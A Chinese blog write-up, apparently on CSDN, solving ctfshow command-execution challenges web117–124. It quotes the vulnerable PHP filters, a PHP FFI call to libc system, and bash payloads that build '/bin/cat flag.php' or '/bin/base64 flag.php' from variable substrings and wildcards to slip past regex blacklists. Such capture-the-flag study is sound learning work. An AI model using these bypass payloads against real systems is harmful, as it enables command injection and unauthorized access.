看羽师傅的解法:FFI

简单来说就是可以通过FFI扩展【PHP7.4以上】,调用C语言写的各种库。

c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();  

这里就是调用system来进行命令执行,这里我猜测是因为system执行的结果不会输出到页面中,故重定向到1.txt,再访问1.txt【还发现/readflag是个ELF文件】

0x32 web118

通过截取内部变量来构造命令

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???${PATH:~A}${PWD:~A} ????.???

记录一下:

在linux中可以用~获取变量的最后几位

${PATH:~A}等价于${PATH:~0}

${PWD}当前目录:/var/www/html

${#var}:var变量的长度

${#HOME}:5 ​${#SHLVL}:1​${#RANDOM}:随机数 ${#TERM}:14

但我个人觉得,这道题给的wp是用系统变量${PATH}构造的,但该变量如果在本地改过了,岂不是不能本地复现/构造?至少我本地复现时,就失败,而这道题又无回显,不知道其变量的值是多少

0x33 web119

过滤了PATH、BASH

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}}    ====>   /
#${Z}	测试中发现z换成其他的字符,在/var/www/html整体都返回/
/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

0x33 web120

if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }

过滤了PATH、BASH、HOME

构造/bin/base64 flag.php /???/?????4 ????.???

/$PWD(当前处于/var/www/html)的第一位${#SHLVL}
${#var}获取4,${#RANDOM}随机数,随机出4

Payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

0x34 web121

if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';

在上面题的基础上又增加了其他内置变量,但是放开了PWD和RANDOM
所以我们只需研究上一个payload的替换值即可。
过滤了SHLVL,这时可以考虑用 $?/$#?来替代

$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

如果上一条无返回值,通常会返回1

$#? 变量?的长度

Payload:

${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

0x35 web122

if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';

增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。

思路:使用强大的$?

为了确保,$?能输出1,可以在写个输出1的命令或者错误命令如<A;确保下一条命令中的$?能返回1

不断刷新Payload,随机出正确的命令

Payload:

<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

0x36 web124

if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

https://blog.csdn.net/miuzzx/article/details/109181768?spm=1001.2014.3001.5501

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值